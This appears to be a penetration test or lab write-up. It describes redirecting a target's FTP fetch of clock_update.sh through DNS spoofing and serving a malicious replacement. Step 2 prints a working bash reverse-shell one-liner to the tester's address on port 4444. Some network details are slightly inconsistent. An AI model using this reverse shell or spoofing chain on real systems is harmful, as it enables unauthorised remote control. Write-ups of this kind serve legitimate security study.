Penetration Test Report

# Target Information

• Target FTP Server: 192.168.2.8  
• Gateway: 192.168.2.254  
• DNS Server: 192.168.2.3  
• Attacker's (my) IP: 192.168.2.2

# Objectives

The objective of this penetration test was to evaluate the security of the target machine (192.168.3.1) by leveraging network-based vulnerabilities. Specifically, I aimed to exploit the fact that the machine retrieves a script (clock\_update.sh) from an FTP server during operation, which was susceptible to being replaced with a malicious version that triggers a reverse shell connection back to my machine (192.168.2.2).

# Steps Taken

## Step 1: Identifying the Vulnerability

During the test, I analyzed the network communication between the target machine (192.168.3.1) and the FTP server (192.168.2.8). It was discovered that the target machine automatically retrieves a script called clock\_update.sh from the FTP server for clock synchronization. This script was identified as a potential vector for exploitation, as it was being executed without any validation or security checks.

## Step 2: Crafting the Malicious clock\_update.sh

To exploit this behavior, I created a custom clock\_update.sh script that would initiate a reverse shell back to my machine. The content of the script was as follows:  
```bash  
#!/bin/bash  
bash -i >& /dev/tcp/192.168.2.2/4444 0>&1 &  
```  
This script opens a reverse shell on the target machine, connecting back to the attacker’s machine (IP: 192.168.2.2) on port 4444.

## Step 3: DNS Spoofing to Redirect Traffic

The next step involved performing DNS spoofing to manipulate the target’s DNS queries. I made the gateway (192.168.2.254) believe that my machine (192.168.2.2) was the legitimate FTP server (ftp.yolo.co.il). To achieve this, I used a DNS spoofing script to intercept and respond to DNS queries.  
• Objective: Whenever the target machine (192.168.3.1) queries the DNS server (192.168.2.3) for ftp.yolo.co.il, it would resolve to my IP (192.168.2.2), not the legitimate FTP server (192.168.2.8).

## Step 4: Setting Up the FTP Server

In parallel, an FTP server was set up on my machine (192.168.2.2) to serve the malicious clock\_update.sh script. The FTP server was configured via script to provide the clock\_update.sh file when the target machine (192.168.3.1) made the request.

## Step 5: Target Downloads the Malicious Script

As a result of the DNS spoofing, when the target machine (192.168.3.1) queried the DNS server for ftp.yolo.co.il, it received my IP (192.168.2.2) as the resolved address. The target machine then connected to my FTP server and downloaded the malicious clock\_update.sh script.

## Step 6: Reverse Shell Established

Once the clock\_update.sh script was executed on the target machine (192.168.3.1), it initiated a reverse shell back to me. I was then able to establish an interactive shell on the target system.